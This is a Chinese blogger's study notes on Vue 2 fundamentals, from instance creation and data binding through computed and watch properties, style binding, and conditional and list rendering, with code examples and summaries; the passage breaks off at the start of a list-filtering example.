Vue 笔记一—Vue 核心

发布于 2021-08-04  552 次阅读


1.初识 Vue

<!-- 准备好一个容器-->
<div id="root"></div>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<!-- 生产环境版本,优化了尺寸和速度 -->
<!-- <script src="https://cdn.jsdelivr.net/npm/vue@2"></script> -->

<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止 vue 在启动时生成生产提示。

    // 创建Vue实例
    new Vue({
        // el 用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
        el: "#root",
        // data 中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
        data: {
            name: "星宿君 の Blog",
            address: "https://blog.huxinfeng.com",
        },
    });
</script>

必须要 new 一个 Vue 实例,否则报错,以下是 Vue 源码

// Vue源码 line 5075
function Vue(options) {
    if (!(this instanceof Vue)) {
        warn("Vue is a constructor and should be called with the `new` keyword");
    }
    this._init(options);
}

总结:

  1. 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
  2. root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;
  3. root 容器里的代码被称为【Vue 模板】;
  4. Vue 实例和容器是一一对应的;
  5. 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用;
  6. {{xxx}}中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性;
  7. 一旦 data 中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

2.Vue 模板语法

<div id="root">
    <h1>插值语法</h1>
    <h3>你好,{{name}}</h3>
    <hr />
    <h1>指令语法</h1>
    <a v-bind:href="blog.url.toUpperCase()">点我去{{blog.name}}学习1</a>
    <!-- 简写 v-bind: => : -->
    <a :href="blog.url">点我去{{blog.name}}学习2</a>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: "#root",
        data: {
            name: "星宿君",
            blog: {
                name: "星宿君 の Blog",
                url: "https://blog.huxinfeng.com",
            },
        },
    });
</script>

总结:

  1. 插值语法:
    (1) 功能:用于解析标签体内容。
    (2) 写法:{{xxx}},xxx 是 js 表达式,且可以直接读取到 data 中的所有属性。
  2. 指令语法:
    (1) 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
    (2) 举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx 同样要写 js 表达式,且可以直接读取到 data 中的所有属性。

3.数据绑定

<div id="root">
    <!-- 普通写法 -->
    单向数据绑定:<input type="text" v-bind:value="name" /><br />
    双向数据绑定:<input type="text" v-model:value="name" /><br />

    <!-- 简写 -->
    单向数据绑定:<input type="text" :value="name" /><br />
    双向数据绑定:<input type="text" v-model="name" /><br />

    <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
    <h2 v-model:x="name">星宿君 の Blog</h2>
</div>

总结:

  1. Vue 中有两种数据绑定的方式:
    (1) 单向绑定(v-bind):数据只能从 data 流向页面。
    (2) 双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data。
  2. 备注:
    (1) 双向绑定一般都应用在表单类元素上(如:input、select 等)
    (2) v-model 是 v-bind & v-input 缩写
    (3) v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值。

4.el 与 data 的两种写法

// el 第一种写法
new Vue({
    el: "#root",
    data: {
        name: "星宿君 の Blog",
    },
});

// el 第二种写法
const vm = new Vue({
    data: {
        name: "星宿君 の Blog",
    },
}).$mount("#root"); // mount 是 vm 原型对象 即 Vue 的方法,$mount 是将 vm 对象挂载在 DIVDOM 对象上
// 第二种写法更加灵活,可以配合定时器,实现不一样的效果
// data 第一种写法:对象式
new Vue({
    el: "#root",
    data: {
        name: "星宿君 の Blog",
    },
});

// data 第二种写法:函数式(在组件中必须是这种写法)
new Vue({
    el: "#root",
    data() {
        console.log(this); // 此处的 this 是 Vue 实例对象
        return {
            name: "星宿君 の Blog",
        };
    },
});

总结:

  1. el 两种写法
    (1) new Vue() 时候配置 el 属性。
    (2) 先创建 Vue 实例,随后再通过 vm.$mount('#root') 指定 el 的值。
  2. data 两种写法
    (1) 对象式
    (2) 函数式
    如何选择:目前哪种写法都可以,以后学习到组件时,data 必须使用函数式,否则会报错。
  3. 一个重要的原则
    由 Vue 管理的函数,一定不要写箭头函数,一旦写了箭头函数,this 就不再是 Vue 实例了,而是 Window

5.MVVM 模型

file

总结:

  1. MVVM 模型
    (1) M:模型(Model) :data 中的数据
    (2) V:视图(View) :模板代码
    (3) VM:视图模型(ViewModel):Vue 实例
  2. 观察发现
    (1) data 中所有的属性,最后都出现在了 vm 身上。
    (2) vm 身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。

6.数据代理

回顾 Object.defineproperty 方法

Object.defineProperty & Object.Proxy 区别

let number = 18;
let person = {
    name: "张三",
    sex: "男",
};

Object.defineProperty(person, "age", {
    // value:18,         // 控制属性是否可以枚举,默认值是 undefined
    // enumerable:true,  // 控制属性是否可以枚举,默认值是 false
    // writable:true,    // 控制属性是否可以被修改,默认值是 false
    // configurable:true // 控制属性是否可以被删除,默认值是 false

    // 当有人读取 person 的 age 属性时,get 函数(getter)就会被调用,且返回值就是 age 的值
    get() {
        console.log("有人读取 age 属性了");
        return number;
    },

    // 当有人修改 person 的 age 属性时,set 函数(setter)就会被调用,且会收到修改的具体值
    set(v) {
        console.log("有人修改了 age 属性,且值是", v);
        number = v;
    },
});

file

小结:
  1. enumerable 为 false 时,浏览器显示的字体颜色相较于普通可枚举类型,淡一点
  2. get() 称为 getter set() 称为 setter

何为数据代理

let obj1 = { x: 100 };
let obj2 = { y: 200 };

Object.defineProperty(obj2, "x", {
    get() {
        return obj1.x;
    },
    set(v) {
        obj1.x = v;
    },
});
小结:

数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)

Vue 中的数据代理

file

小结:
  1. Vue 中的数据代理:
    通过 vm 对象来代理 data 对象中属性的操作(读/写)
  2. Vue 中数据代理的好处:
    更加方便的操作 data 中的数据
  3. 基本原理:
    (1) 通过 Object.defineProperty()把 data 对象中所有属性添加到 vm 上。
    (2) 为每一个添加到 vm 上的属性,都指定一个 getter/setter。
    (3) 在 getter/setter 内部去操作(读/写)data 中对应的属性。
  4. 问?
    (1) data 与_data 之间进行数据劫持,_data 与 vm 进行数据代理
    (2) 控制台输出对象,有的对象上显示(...) => 说明该数据设置了 Object.defineProperty,进行了代理
    file
  5. Vue 监测数据改变的原理
  6. 模拟 Vue 数据监测

7.事件处理

事件的基本使用

<div id="root">
    <h2>{{name}}</h2>
    <!-- <button v-on:click="showInfo1">点我提示信息</button> -->
    <button @click="showInfo1">点我提示信息1(不传参)</button>
    <button @click="showInfo2($e,66)">点我提示信息2(传参)</button>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            name: "星宿君 の Blog",
        },
        methods: {
            showInfo1(e) {
                console.log(e.target.innerText); //星宿君 の Blog
                console.log(this === vm); // true 此处的 this 是 vm
                alert("同学你好!");
            },
            showInfo2(e, number) {
                console.log(e, number);
                alert("同学你好!!");
            },
        },
    });
</script>
小结:
  1. 使用 v-on:xxx 或 @xxx 绑定事件,其中 xxx 是事件名;
  2. 事件的回调需要配置在 methods 对象中,最终会在 vm 上;
  3. methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了,而是 Window;
  4. methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象;
  5. @click="demo" 和 @click="demo($e)" 效果一致,但后者可以传参。
  6. 问?函数可以写到 data 中?
    (1) 可以,但是不建议这样设置,
    (2) 如果函数写到 data 中,Vue 会默认做数据代理和数据劫持,但是函数做数据代理和数据劫持没有任何意义,而且会消耗 Vue 性能。

事件修饰符

1.prevent:阻止默认事件(常用);

<div id="root">
    <!-- 阻止默认事件(常用)相当于e.preventDefault() -->
    <a href="http://www.huxinfeng.com" @click.prevent="showInfo">点我提示信息</a>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        methods: {
            showInfo() {
                alert("同学你好!");
            },
        },
    });
</script>

2.stop:阻止事件冒泡(常用);

<style>
    .demo {
        height: 100px;
        background-color: skyblue;
    }
</style>

<div id="root">
    <!-- 阻止事件冒泡(常用) -->
    <div class="demo" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
        <!-- 修饰符可以连续写 -->
        <a href="http://www.huxinfeng.com" @click.prevent.stop="showInfo">点我提示信息</a>
    </div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        methods: {
            showInfo() {
                alert("同学你好!");
            },
        },
    });
</script>

3.once:事件只触发一次(常用);

<div id="root">
    <!-- 事件只触发一次(常用) -->
    <button @click.once="showInfo">点我提示信息</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        methods: {
            showInfo() {
                alert("同学你好!");
            },
        },
    });
</script>

4.capture:使用事件的捕获模式;

<style>
    .box1 {
        padding: 5px;
        background-color: skyblue;
    }
    .box2 {
        padding: 5px;
        background-color: orange;
    }
</style>

<div id="root">
    <!-- 使用事件的捕获模式 -->
    <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">div2</div>
    </div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        methods: {
            showMsg(msg) {
                console.log(msg);
            },
        },
    });
</script>

5.self:只有 event.target 是当前操作的元素时才触发事件;

<style>
    .demo {
        height: 50px;
        background-color: skyblue;
    }
</style>

<div id="root">
    <!-- 当点击button时,e.target指向button标签,冒泡触发一次,本身一次,一共两次 -->
    <!-- 只有e.target是当前操作的元素时才触发事件,所以即时会发生冒泡事件,但是demo不会触发 -->
    <div class="demo" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
    </div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        methods: {
            showInfo() {
                alert("同学你好!");
            },
        },
    });
</script>

6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕。

<style>
    .list {
        width: 200px;
        height: 200px;
        background-color: peru;
        overflow: auto;
    }
    li {
        height: 100px;
    }
</style>

<div id="root">
    <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
    <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
    </ul>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        methods: {
            demo() {
                for (let i = 0; i < 100000; i++) {
                    console.log("#");
                }
                console.log("累坏了");
            },
        },
    });
</script>
小结:
  1. prevent:阻止默认事件(常用);
  2. stop:阻止事件冒泡(常用);
  3. once:事件只触发一次(常用);
  4. capture:使用事件的捕获模式;
  5. self:只有 event.target 是当前操作的元素时才触发事件;
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕。(一般用于移动端项目,即安卓和平板)
  7. 问?鼠标滚轮事件 scroll 和 wheel 区别?
    (1) scroll 滚动条滚动就会触发,一直触发 => 该事件函数触发后,先触发默认滚动事件,在处理 demo 回调事件
    (2) wheel 鼠标滚轮滚动到停止期间触发一次 => 该事件函数触发后,先处理 demo 回调事件,在触发默认滚动事件(使用 passive 可以解决)

键盘事件

<div id="root">
    <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo" />
</div>

<script type="text/javascript">
    Vue.config.keyCodes.huiche = 13; // 定义了一个别名按键

    new Vue({
        el: "#root",
        methods: {
            showInfo(e) {
                console.log(e.key, e.keyCode);
                console.log(e.target.value);
            },
        },
    });
</script>
小结:
  1. Vue 中常用的按键别名:
    (1) 回车 => enter
    (2) 删除 => delete (捕获“删除”和“退格”键)
    (3) 退出 => esc
    (4) 空格 => space
    (5) 换行 => tab (特殊,必须配合 keydown 去使用)
    (6) 上 => up
    (7) 下 => down
    (8) 左 => left
    (9) 右 => right
  2. Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-case(短横线命名)
  3. 系统修饰键(用法特殊):ctrl、alt、shift、meta(Win)
    (1) 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
    (2) 配合 keydown 使用:正常触发事件。
  4. 也可以使用 keyCode 去指定具体的按键,比如 @keydown.13(不推荐,因为在 Web 标准中已经移除,即使有些浏览器还支持,但是不排除未来某一天废弃)
  5. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
  6. 问?.tab 可以配合 keyup 使用?
    不可以,因为 tab 本身具有一个行为,即失去当前焦点,所以不会触发 input 事件
  7. 问?.ctrl 等系统修饰键 配合 keyup,如何实现只能通过 ctrl+y 实现触发?
    @keydown.ctrl.y

8.计算属性

姓名案例-插值语法实现

<div id="root">
    姓:<input type="text" v-model="firstName" /> <br />
    名:<input type="text" v-model="lastName" /> <br />
    全名:<span>{{firstName}}-{{lastName}}</span>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            firstName: "张",
            lastName: "三",
        },
    });
</script>

姓名案例-methods 实现

<div id="root">
    姓:<input type="text" v-model="firstName" /> <br />
    名:<input type="text" v-model="lastName" /> <br />
    全名:<span>{{fullName()}}</span>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            firstName: "张",
            lastName: "三",
        },
        methods: {
            // 只要 data 中数据发生改变,div#root 内的模板就会重新开始解析,当遇到 fullName() 时,无论其中是否调用了 data 中的数据都会执行
            fullName() {
                console.log("计算属性 fullName 被调用了");
                return this.firstName + "-" + this.lastName;
            },
        },
    });
</script>

姓名案例-计算属性实现

<div id="root">
    姓:<input type="text" v-model="firstName" /> <br />
    名:<input type="text" v-model="lastName" /> <br />
    全名:<span>{{fullName}}</span>
    <!-- 只会执行一次fullName的get操作,下面是读取浏览器中的缓存 -->
    全名:<span>{{fullName}}</span>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            firstName: "张",
            lastName: "三",
        },
        computed: {
            // 完整写法
            fullName: {
                // get 有什么作用?当有人读取 fullName 时,get就会被调用,且返回值就作为 fullName 的值
                // get 什么时候调用?1.初次读取 fullName 时。2.所依赖的数据发生变化时。
                get() {
                    console.log("get被调用了");
                    console.log(this); //此处的this是 vm
                    return this.firstName + "-" + this.lastName;
                },
                //set什么时候调用? 当fullName被修改时。(如果不需要修改fullname,则可以不写setter)
                set(v) {
                    console.log("set", v);
                    const arr = v.split("-");
                    this.firstName = arr[0];
                    this.lastName = arr[1];
                },
            },
            // 简写(前提是确定不使用set方法),注意这个是属性,非函数,只是简写酱紫了,调用时一定不要打括号。
            /* fullName() {
                console.log("get被调用了");
                return this.firstName + "-" + this.lastName;
            }, */
        },
    });
</script>
小结:
  1. 问?fullName 与 data 中的属性区别?
    (1) fullName 是计算后的属性,所以也在 vm 实例上,但是显示是(...),区别于 data 中的 firstName 和 lastName;
    (2) _data 中有 data 中的所有属性,唯独没有 fullName 属性;
    (3) fullName 单独放在一个属性列表中(computed)
    file

总结:

计算属性:

  1. 定义:要用的属性不存在,要通过已有属性计算得来。
  2. 原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。
  3. get 函数什么时候执行?
    (1) 初次读取时会执行一次。
    (2) 当依赖的数据发生改变时会被再次调用。
  4. 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。
  5. 备注:
    (1) 计算属性最终会出现在 vm 上,直接读取使用即可。
    (2) 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。

9.监视属性

天气案例-methods 实现

<div id="root">
    <h2>今天天气很{{info}}</h2>
    <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
    <!-- <button @click="isHot = !isHot">切换天气</button> -->
    <button @click="changeWeather">切换天气</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            isHot: true,
        },
        computed: {
            info() {
                return this.isHot ? "炎热" : "凉爽";
            },
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            },
        },
    });
</script>

如果 div#root 中没有使用任何 vm 中的数据,就算点击了 changeWeather 触发了事件,Vue 开发者工具也不会更改数据,开发者工具默认只要页面中没有使用 vm 中的数据,就默认不更改,但是实际数据是更改过的,可以通过控制台输出相关数据进行验证

天气案例-监视属性

<div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            isHot: true,
        },
        computed: {
            info() {
                return this.isHot ? "炎热" : "凉爽";
            },
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            },
        },
        // 写法一
        watch: {
            isHot: {
                // 初始化时让 handler 调用一下,默认 false
                immediate: true,
                // handler 什么时候调用?当 isHot 发生改变时。
                handler(newValue, oldValue) {
                    console.log("isHot 被修改了", newValue, oldValue);
                },
            },
            // 不仅可以监听 data 中的属性,也可以监听 computed 中的属性
            info: {
                // 初始化时让 handler 调用一下,默认 false
                immediate: true,
                // handler 什么时候调用?当 info 发生改变时。
                handler(newValue, oldValue) {
                    console.log("info 被修改了", newValue, oldValue);
                },
            },
        },
    });
    // 写法二
    /*  vm.$watch("isHot", {
        // 初始化时让 handler 调用一下,默认 false
        immediate: true,
        // handler 什么时候调用?当 isHot 发生改变时。
        handler(newValue, oldValue) {
            console.log("isHot 被修改了", newValue, oldValue);
        },
    }); */
</script>
小结:

监视属性 watch:

  1. 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
  2. 监视的属性必须存在,才能进行监视!!
  3. 监视的两种写法:
    (1) new Vue 时传入 watch 配置
    (2) 通过 vm.$watch 监视
  4. 问?写法一,写法二区别?
    初始化实例时就确定要监听的属性就使用方法一,初始化之后根据用户行为确定监听的属性就使用方法二
  5. 问?是否可以监听到计算属性?
    可以,不仅可以监听 data 中的属性,也可以监听 computed 中的属性
  6. 问?监视的属性不存在,进行监视,是否会报错?
    不会报错,输出的值为 undefined undefined

天气案例-深度监视

<div id="root">
    <h3>a的值是:{{numbers.a}}</h3>
    <button @click="numbers.a++">点我让a+1</button>
    <h3>b的值是:{{numbers.b}}</h3>
    <button @click="numbers.b++">点我让b+1</button>
    <!-- 如果不加 deep: true,更改 numbers.a 或者 b,事件不会被触发,因为 numbers 地址不发生改变,可以用以下方法更改 numbers 的地址,这样可以触发事件 -->
    <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            numbers: {
                a: 1,
                b: 1,
            },
        },
        watch: {
            // 监视多级结构中某个属性的变化
            /* 'numbers.a':{
                    handler(){
                        console.log('a被改变了');
                    }
                } */
            // 监视多级结构中所有属性的变化
            numbers: {
                deep: true,
                handler() {
                    console.log("numbers 改变了");
                },
            },
        },
    });
</script>
小结:
  1. 深度监视:
    (1) Vue 中的 watch 默认不监测对象内部值的改变(一层)。
    (2) 配置 deep:true 可以监测对象内部值改变(多层)。
  2. 对象中的 key 值必须是字符串,如果中间有.或者-,需要打上双引号或者单引号
  3. 备注:
    (1) 使用 watch 时根据数据的具体结构,决定是否采用深度监视。
    (2) 默认不开启深度监视,原因是减小性能损耗。
<div id="root">
    <!-- 在控制台中输入 vm.numbers.c.d.e = 1,深度监视不能触发,但是 Vue 可以监听到,页面会改变 -->
    {{numbers.c.d.e}}
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            numbers: {
                c: {
                    d: {
                        e: 100,
                    },
                },
            },
        },
        watch: {
            numbers: {
                handler() {
                    console.log("numbers 改变了");
                },
            },
        },
    });
</script>
小结:
  1. 备注:
    (1) Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!

天气案例-监视属性简写

<div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            isHot: true,
        },
        computed: {
            info() {
                return this.isHot ? "炎热" : "凉爽";
            },
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            },
        },
        watch: {
            // 正常写法
            /* isHot: {
                // immediate:true, // 初始化时让 handler 调用一下
                // deep:true,// 深度监视
                handler(newValue, oldValue) {
                    console.log("isHot被修改了", newValue, oldValue);
                },
            }, */
            // 简写
            isHot(newValue, oldValue) {
                console.log("isHot被修改了", newValue, oldValue, this);
            },
        },
    });

    // 正常写法
    /*  vm.$watch("isHot", {
        immediate: true, // 初始化时让 handler 调用一下
        deep: true, // 深度监视
        handler(newValue, oldValue) {
            console.log("isHot被修改了", newValue, oldValue);
        },
    }); */

    // 简写
    // 切忌不要写箭头函数。箭头函数指向 Window
    vm.$watch("isHot", function (newValue, oldValue) {
        console.log("isHot被修改了", newValue, oldValue, this);
    });
</script>

姓名案例-watch 实现

<div id="root">
    姓:<input type="text" v-model="firstName" /> <br /><br />
    名:<input type="text" v-model="lastName" /> <br /><br />
    全名:<span>{{fullName}}</span> <br /><br />
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            firstName: "张",
            lastName: "三",
            fullName: "张-三",
        },
        watch: {
            firstName(newValue) {
                // this 指向 Vue,如果不写箭头函数,setTimeout 指向 Window
                setTimeout(() => {
                    console.log(this);
                    this.fullName = newValue + "-" + this.lastName;
                }, 1000);
            },
            lastName(newValue) {
                this.fullName = this.firstName + "-" + newValue;
            },
        },
    });
</script>
小结:
  1. computed 和 watch 之间的区别:
    (1) computed 能完成的功能,watch 都可以完成。
    (2) watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。
  2. 两个重要的小原则:
    (1) 所被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。
    (2) 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象。

10.绑定样式

<style>
    .basic {
        width: 400px;
        height: 100px;
        border: 1px solid black;
    }

    .happy {
        border: 4px solid red;
        background-color: rgba(255, 255, 0, 0.644);
        background: linear-gradient(30deg, yellow, pink, orange, yellow);
    }
    .sad {
        border: 4px dashed rgb(2, 197, 2);
        background-color: gray;
    }
    .normal {
        background-color: skyblue;
    }

    .at1 {
        background-color: yellowgreen;
    }
    .at2 {
        font-size: 30px;
        text-shadow: 2px 2px 10px red;
    }
    .at3 {
        border-radius: 20px;
    }
</style>

<div id="root">
    <!-- 绑定 class 样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <br /><br />

    <!-- 绑定 class 样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
    <!-- vm.classArr.shift(),移除 at1 样式 -->
    <!-- vm.classArr.push("at1"),增加 at1 样式 -->
    <div class="basic" :class="classArr">{{name}}</div>
    <br /><br />

    <!-- 绑定 class 样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
    <div class="basic" :class="classObj">{{name}}</div>
    <br /><br />
    <br /><br />

    <!-- 绑定 style 样式--对象写法 -->
    <div class="basic" :style="styleObj">{{name}}</div>
    <br /><br />
    <!-- 绑定 style 样式--数组写法 -->
    <div class="basic" :style="styleArr">{{name}}</div>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            name: "星宿君 の Blog",
            mood: "normal",
            classArr: ["at1", "at2", "at3"],
            classObj: {
                at1: false,
                at2: false,
            },

            styleObj: {
                fontSize: "40px",
                color: "red",
            },
            styleObj2: {
                backgroundColor: "orange",
            },
            styleArr: [
                {
                    fontSize: "40px",
                    color: "blue",
                },
                {
                    backgroundColor: "gray",
                },
            ],
        },
        methods: {
            changeMood() {
                const arr = ["happy", "sad", "normal"];
                const index = Math.floor(Math.random() * 3);
                this.mood = arr[index];
            },
        },
    });
</script>

总结:

绑定样式:

  1. class 样式
    (1) 写法:class="xxx" xxx 可以是字符串、对象、数组。
    (2) 字符串写法适用于:类名不确定,要动态获取。
    (3) 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
    (4) 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
  2. style 样式
    (1) :style="{fontSize: xxx}"其中 xxx 是动态值。
    (2) :style="[a,b]"其中 a、b 是样式对象。

11.条件渲染

<div id="root">
    <!-- 使用v-show做条件渲染 -->
    <h2 v-show="false">欢迎来访{{name1}}</h2>
    <h2 v-show="1 === 1">欢迎来访{{name2}}</h2>
    <h2 v-show="name">欢迎来访{{name2}}</h2>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            name1: "星宿君 の Blog1",
            name2: "星宿君 の Blog2",
            name: true,
        },
    });
</script>
<div id="root">
    <!-- 使用v-if做条件渲染 -->
    <h2 v-if="true">欢迎来访{{name1}}</h2>
    <h2 v-if="1 === 2">欢迎来访{{name2}}</h2>
    <h2 v-if="name">欢迎来访{{name2}}</h2>

    <!-- v-else和v-else-if -->
    <div v-if="n === 1">Angular</div>
    <div v-else-if="n === 2">React</div>
    <div v-else-if="n === 3">Vue</div>
    <div v-else>哈哈</div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            name1: "星宿君 の Blog1",
            name2: "星宿君 の Blog2",
            name: false,

            n: 0,
        },
    });
</script>
<div id="root">
    <!-- v-if与template的配合使用 -->
    <template v-if="n === 1">
        <h2>你好</h2>
        <h2>星宿君 の Blog</h2>
        <h2>https://blog.huxinfeng.com</h2>
    </template>

    <!-- 不建议这样使用,会破坏结构,多出一个没必要的 div -->
    <div v-if="n === 1">
        <h2>你好</h2>
        <h2>星宿君 の Blog</h2>
        <h2>https://blog.huxinfeng.com</h2>
    </div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            n: 1,
        },
    });
</script>

file

总结:

条件渲染:

  1. v-if
    写法:
    (1).v-if="表达式"
    (2).v-else-if="表达式"
    (3).v-else="表达式"
    适用于:切换频率较低的场景。
    特点:不展示的 DOM 元素直接被移除。
    注意:v-if 可以和:v-else-if、v-else 一起使用,但要求结构不能被“打断”。
  2. v-show
    写法:v-show="表达式"
    适用于:切换频率较高的场景。
    特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉
  3. 备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。

12.列表渲染

基本列表

<div id="root">
    <!-- 遍历数组 -->
    <h2>人员列表(遍历数组)</h2>
    <ul>
        <li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li>
    </ul>

    <!-- 遍历对象 -->
    <h2>汽车信息(遍历对象)</h2>
    <ul>
        <li v-for="(value,k) of car" :key="k">{{k}}-{{value}}</li>
    </ul>

    <!-- 遍历字符串 -->
    <h2>测试遍历字符串(用得少)</h2>
    <ul>
        <li v-for="(char,index) of str" :key="index">{{char}}-{{index}}</li>
    </ul>

    <!-- 遍历指定次数 -->
    <h2>测试遍历指定次数(用得少)</h2>
    <ul>
        <li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li>
    </ul>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            persons: [
                { id: "001", name: "张三", age: 18 },
                { id: "002", name: "李四", age: 19 },
                { id: "003", name: "王五", age: 20 },
            ],
            car: {
                name: "奥迪A8",
                price: "70万",
                color: "黑色",
            },
            str: "hello",
        },
    });
</script>
小结:

v-for 指令:

  1. 用于展示列表数据
  2. 语法:v-for="(item, index) in xxx" :key="yyy"
  3. key 值不会出现在 DOM 的属性上,key 被 Vue 所用
  4. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
  5. of in 均可,功能一样

key 的原理

<div id="root">
    <!-- 遍历数组 -->
    <h2>人员列表(遍历数组)</h2>
    <button @click.once="add">添加一个老刘</button>
    <ul>
        <li v-for="(p,index) of persons" :key="index">
            {{p.name}}-{{p.age}}
            <input type="text" />
        </li>
    </ul>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            persons: [
                { id: "001", name: "张三", age: 18 },
                { id: "002", name: "李四", age: 19 },
                { id: "003", name: "王五", age: 20 },
            ],
        },
        methods: {
            add() {
                const p = { id: "004", name: "老刘", age: 40 };
                // 往 persons 头插入一个信息
                this.persons.unshift(p);
            },
        },
    });
</script>

index 作为 key
file
id 作为 key
file

面试题:react、vue 中的 key 有什么作用?(key 的内部原理)
  1. 虚拟 DOM 中 key 的作用:
    (1) key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,随后 Vue 进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较,比较规则如下:
  2. 对比规则:
    (1). 旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:
    ①.若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM!
    ②.若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM。
    (2). 旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key,创建新的真实 DOM,随后渲染到到页面。
  3. 用 index 作为 key 可能会引发的问题:
    (1). 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
    会产生没有必要的真实 DOM 更新 ==> 界面效果没问题, 但效率低。
    (2). 如果结构中还包含输入类的 DOM:
    会产生错误 DOM 更新 ==> 界面有问题。
  4. 开发中如何选择 key?:
    (1). 最好使用每条数据的唯一标识作为 key, 比如 id、手机号、身份证号、学号等唯一值。
    (2). 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用 index 作为 key 是没有问题的。

Diff 算法

列表过滤

<div id="root">
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord" />
    <ul>
        <li v-for="(p,index) of filPerons" :key="index">{{p.name}}-{{p.age}}-{{p.sex}}</li>
    </ul>
</div>

<script type="text/javascript">
